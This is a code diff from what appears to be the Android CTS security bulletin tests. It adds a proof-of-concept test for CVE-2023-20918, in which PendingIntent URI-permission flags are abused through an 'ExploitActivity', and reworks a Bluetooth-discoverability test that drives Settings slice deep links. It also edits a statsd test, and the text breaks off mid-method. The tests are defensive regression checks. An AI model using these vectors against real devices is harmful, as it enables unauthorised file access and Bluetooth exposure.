"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ // including this to use androidx.core.content.FileProvider
+ "androidx.legacy_legacy-support-v4",
],
- platform_apis: true,
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..b95b6d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20918_test">
+ <application>
+ <provider android:name="androidx.core.content.FileProvider"
+ android:authorities="authority_CVE_2023_20918_test"
+ android:grantUriPermissions="true">
+ <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20918_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
new file mode 100644
index 0000000..40b8d36
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityExploit">android.security.cts.CVE_2023_20918_attacker.ExploitActivity
+ </string>
+ <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+ <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+ <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+ <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+ <string name="fileContents">This is a read only file\n</string>
+ <string name="keyMsgAssumeFail">msg</string>
+ <string name="keyPendingIntent">pi</string>
+ <string name="msgAssumeFailDefault">Got an exception in DeviceTest.java</string>
+ <string name="msgFail">Device is vulnerable to b/243794108 !!</string>
+ <string name="pkgAttacker">android.security.cts.CVE_2023_20918_attacker</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
index d9e0ab2..dd4259b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<paths>
+ <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
new file mode 100644
index 0000000..e677938
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final long TIMEOUT_MS = 10_000L;
+ private String mAssumeFailMsg;
+
+ @Test
+ public void testCVE_2023_20918() {
+ try {
+ Context context = getApplicationContext();
+ mAssumeFailMsg = context.getString(R.string.msgAssumeFailDefault);
+ final CompletableFuture<Boolean> exploitActivityReturn = new CompletableFuture<>();
+ final String bcastActionFail = context.getString(R.string.bcastActionTestFail);
+ final String bcastActionPass = context.getString(R.string.bcastActionTestPass);
+ final String bcastActionAssumeFail =
+ context.getString(R.string.bcastActionTestAssumeFail);
+
+ // Register a broadcast receiver to receive broadcast from ExploitActivity indicating
+ // presence of vulnerability
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction().equals(bcastActionFail)) {
+ exploitActivityReturn.complete(true);
+ } else if (intent.getAction().equals(bcastActionPass)) {
+ exploitActivityReturn.complete(false);
+ } else if (intent.getAction().equals(bcastActionAssumeFail)) {
+ // mAssumeFailMsg set here is used in assumeNoException() triggered
+ // when exploitActivityReturn.get() raises a timeout exception
+ mAssumeFailMsg = intent
+ .getStringExtra(context.getString(R.string.keyMsgAssumeFail));
+ }
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(bcastActionFail);
+ filter.addAction(bcastActionPass);
+ filter.addAction(bcastActionAssumeFail);
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Write some data to the Uri content://authority/file_path/poc.txt
+ final String uriString = context.getString(R.string.contentUri);
+ try (OutputStream outputStream =
+ context.getContentResolver().openOutputStream(Uri.parse(uriString));) {
+ outputStream.write(
+ context.getString(R.string.fileContents).getBytes(StandardCharsets.UTF_8));
+ }
+
+ // Creating an intent to launch ExploitActivity
+ Intent intent = new Intent();
+ final String attackerPkg = context.getString(R.string.pkgAttacker);
+ final String exploitActivity = context.getString(R.string.activityExploit);
+ intent.setClassName(attackerPkg, exploitActivity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // Creating the inner intent for PendingIntent
+ Intent innerIntent = new Intent(Intent.ACTION_MAIN, Uri.parse(uriString));
+ innerIntent.setClassName(attackerPkg, exploitActivity);
+ innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ innerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // Launch the ExploitActivity passing PendingIntent as data
+ intent.putExtra(context.getString(R.string.keyPendingIntent), PendingIntent
+ .getActivity(context, 0, innerIntent, PendingIntent.FLAG_IMMUTABLE));
+ context.startActivity(intent);
+
+ // On vulnerable device, the PendingIntent launchIntentFlags will be added even though
+ // it is immutable, so the test should fail if the flags are found to take effect.
+ assertFalse(context.getString(R.string.msgFail),
+ exploitActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(mAssumeFailMsg, e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
similarity index 95%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
index 09297b2..7e827e4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "TestBluetoothDiscoverable",
defaults: [
"cts_defaults",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
similarity index 90%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
index 9242123..9470a64 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.CVE_2022_20347">
+ package="android.security.cts.TestBluetoothDiscoverable">
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
@@ -31,5 +31,5 @@
</application>
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2022_20347" />
+ android:targetPackage="android.security.cts.TestBluetoothDiscoverable" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
similarity index 100%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
new file mode 100644
index 0000000..4821de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="allowButtonResKey">allow</string>
+ <string name="broadcastAction">testBluetoothDiscoverableBroadcastAction</string>
+ <string name="btAction">btAction</string>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="messageKey">message</string>
+ <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+ <string name="msgFailBluetoothDashboardFragment">Device is vulnerable to b/244423101 !! Possible
+ to make bluetooth discoverable via BluetoothDashboardFragment</string>
+ <string name="msgFailConnectedDeviceDashboardFragment">Device is vulnerable to b/228450811 !!
+ Possible to make bluetooth discoverable via ConnectedDeviceDashboardFragment</string>
+ <string name="resType">string</string>
+ <string name="resultKey">result</string>
+ <string name="sliceBluetoothDashboardUri">
+ settings://%1$s.slices/?slice=content://%2$s/action/bluetooth
+ </string>
+ <string name="sliceConnectedDevicesDashboardUri">
+ settings://%1$s.slices/?slice=content://%1$s.slices/action/bluetooth_devices
+ </string>
+ <string name="sliceDeepLinkSpringBoardClassName">%1$s.slices.SliceDeepLinkSpringBoard</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
new file mode 100644
index 0000000..b893fc4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static android.bluetooth.BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE;
+import static android.provider.SettingsSlicesContract.AUTHORITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.os.PowerManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static Context sContext;
+ private BluetoothAdapter mBtAdapter;
+ private BroadcastReceiver mBroadcastReceiver;
+ private Instrumentation mInstrumentation;
+ private Resources mResources;
+ private Semaphore mBroadcastReceived;
+ private String mErrorMessage;
+ private UiAutomation mUiAutomation;
+ private UiDevice mDevice;
+ private boolean mBtState;
+ private int mStatusCode;
+
+ @Before
+ public void setUp() {
+ try {
+ mInstrumentation = getInstrumentation();
+ sContext = mInstrumentation.getTargetContext();
+ mBroadcastReceived = new Semaphore(0);
+ mBtState = false;
+ mResources = sContext.getResources();
+ mBtAdapter = BluetoothAdapter.getDefaultAdapter();
+ mStatusCode = mResources.getInteger(R.integer.assumptionFailure);
+ mErrorMessage = "";
+
+ // Register BroadcastReceiver to receive status from PocActivity
+ mBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(mResources.getString(R.string.broadcastAction))) {
+ mStatusCode =
+ intent.getIntExtra(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ mErrorMessage = intent
+ .getStringExtra(mResources.getString(R.string.messageKey));
+ mBroadcastReceived.release();
+ }
+ } catch (Exception ignored) {
+ // Ignore exceptions here
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(sContext.getString(R.string.broadcastAction));
+ sContext.registerReceiver(mBroadcastReceiver, filter);
+
+ // Save the state of bluetooth adapter to reset after the test
+ mBtState = mBtAdapter.isEnabled();
+
+ // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+ if (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ }
+
+ // Enable bluetooth if in disabled state
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
+
+ // 'MODIFY_PHONE_STATE' permission is required to launch target Settings app activity
+ mUiAutomation = mInstrumentation.getUiAutomation();
+ mUiAutomation
+ .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ mUiAutomation.dropShellPermissionIdentity();
+ // Disable bluetooth if it was OFF before the test
+ if (!mBtState) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ }
+ sContext.unregisterReceiver(mBroadcastReceiver);
+ } catch (Exception e) {
+ // Ignore exceptions here
+ }
+ }
+
+ @Test
+ public void testConnectedDeviceDashboardFragment() {
+ try {
+ // Check if device is unlocked
+ PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+ KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+ assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+ // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+ String settingsPkg = getSettingsPkgName();
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setData(Uri.parse(
+ sContext.getString(R.string.sliceConnectedDevicesDashboardUri, settingsPkg)));
+ intent.setClassName(settingsPkg,
+ sContext.getString(R.string.sliceDeepLinkSpringBoardClassName, settingsPkg));
+ sContext.startActivity(intent);
+
+ // Wait until target activity from settings package is launched
+ mDevice = UiDevice.getInstance(mInstrumentation);
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+ mResources.getInteger(R.integer.timeoutMs)));
+
+ // Test fails if bluetooth is made discoverable through PoC
+ boolean isBtDiscoverable =
+ (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+ assertFalse(sContext.getString(R.string.msgFailConnectedDeviceDashboardFragment),
+ isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @Test
+ public void testBluetoothDashboardFragment() {
+ try {
+ // Check if device is unlocked
+ PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+ KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+ assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+ // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+ String settingsPkg = getSettingsPkgName();
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setData(Uri.parse(sContext.getString(R.string.sliceBluetoothDashboardUri,
+ settingsPkg, AUTHORITY)));
+ sContext.startActivity(intent);
+
+ // Wait until target activity from settings package is launched
+ mDevice = UiDevice.getInstance(mInstrumentation);
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+ mResources.getInteger(R.integer.timeoutMs)));
+
+ // Test fails if bluetooth is made discoverable through PoC
+ boolean isBtDiscoverable =
+ (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+ assertFalse(sContext.getString(R.string.msgFailBluetoothDashboardFragment),
+ isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+
+ public static String getSettingsPkgName() {
+ // Retrieve settings package name dynamically
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(sContext.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : sContext.getString(R.string.defaultSettingsPkg);
+ return pkgName;
+ }
+
+ private void switchBluetoothMode(String action) throws Exception {
+ // Start PocActivity to switch bluetooth mode
+ Intent intent = new Intent(sContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(sContext.getString(R.string.btAction), action);
+ sContext.startActivity(intent);
+
+ // Wait until bluetooth mode switch is completed successfully
+ assumeTrue(mBroadcastReceived.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ assumeTrue(mErrorMessage,
+ mStatusCode != mResources.getInteger(R.integer.assumptionFailure));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
similarity index 64%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
index c81ea20..f1f1f24 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
@@ -14,22 +14,25 @@
* limitations under the License.
*/
-package android.security.cts.CVE_2022_20347;
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import android.app.Activity;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
-import android.content.Context;
import android.content.Intent;
-import android.content.SharedPreferences;
+import android.content.res.Resources;
import android.os.Bundle;
-import androidx.test.InstrumentationRegistry;
import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
+import java.util.regex.Pattern;
+
public class PocActivity extends Activity {
int getInteger(int resId) {
@@ -41,29 +44,36 @@
super.onCreate(savedInstanceState);
try {
String action = getIntent().getStringExtra(getString(R.string.btAction));
- UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
- BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
int code = getInteger(R.integer.enable);
if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
code = getInteger(R.integer.disable);
}
+ BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+ BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
&& !bluetoothAdapter.isEnabled())
|| (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
&& bluetoothAdapter.isEnabled())) {
Intent btIntent = new Intent(action);
startActivityForResult(btIntent, code);
- // Wait for the activity to appear and the allow button
- uiDevice.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
- getInteger(R.integer.timeoutMs));
- // Click on the allow button
- UiObject2 uiObject =
- uiDevice.findObject(By.res(getString(R.string.allowButtonResName)));
+
+ // Wait for the 'Allow' button
+ String settingsPackageName = DeviceTest.getSettingsPkgName();
+ Resources settingsRes =
+ getPackageManager().getResourcesForApplication(settingsPackageName);
+ int resIdentifier = settingsRes.getIdentifier(getString(R.string.allowButtonResKey),
+ getString(R.string.resType), settingsPackageName);
+ String allowButtonText = settingsRes.getString(resIdentifier);
+ Pattern textPattern = Pattern.compile(allowButtonText, Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(textPattern);
+ UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+ uiDevice.wait(Until.hasObject(selector), getInteger(R.integer.timeoutMs));
+
+ // Click on the 'Allow' button to enable bluetooth as required by test
+ UiObject2 uiObject = uiDevice.findObject(selector);
uiObject.click();
} else {
sendTestResult(getInteger(R.integer.success), "");
- finish();
}
} catch (Exception e) {
sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
@@ -74,30 +84,25 @@
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
try {
if (requestCode == getInteger(R.integer.enable) && resultCode == Activity.RESULT_OK) {
- finish();
sendTestResult(getInteger(R.integer.enable), "");
} else if (requestCode == getInteger(R.integer.disable)
&& resultCode == Activity.RESULT_OK) {
- finish();
sendTestResult(getInteger(R.integer.disable), "");
}
} catch (Exception e) {
- // ignore exception here
+ // Ignore exception here
}
}
void sendTestResult(int result, String message) {
try {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- if (sh != null) {
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
- edit.commit();
- }
+ Intent intent = new Intent(getString(R.string.broadcastAction));
+ intent.putExtra(getString(R.string.resultKey), result);
+ intent.putExtra(getString(R.string.messageKey), message);
+ sendBroadcast(intent);
+ finish();
} catch (Exception e) {
- // ignore exception here
+ // Ignore exception here
}
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a02c6a3..566dc08 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -115,6 +115,7 @@
"com.android.cts.device.statsd.emptyapp";
private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsd";
private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+ private static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when app starting/stopping.
@@ -1128,9 +1129,8 @@
// Start test app.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
- // Trigger a pull and wait for new pull before killing the process.
Thread.sleep(WAIT_TIME_LONG);
- // Trigger new pull.
+ // Trigger a pull and wait for new pull before killing the process.
setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
}
@@ -2113,18 +2113,48 @@
AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
- createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false); // False: does not use attribution.
+ createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
getDevice().executeShellCommand(String.format(
- "am start -n '%s' -e %s %s",
- "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
- "action", ACTION_SHOW_APPLICATION_OVERLAY));
+ "am start -n '%s' -e %s %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+ "action", ACTION_SHOW_APPLICATION_OVERLAY));
final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
List<EventMetricData> data = getEventMetricDataList();
- Function<Atom, Integer> appUsageStateFunction = atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+ Function<Atom, Integer> appUsageStateFunction =
+ atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+ popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.s
+ assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+ }
+
+ public void testAppForceStopUsageEvent() throws Exception {
+ Set<Integer> onStates = new HashSet<>(Arrays.asList(
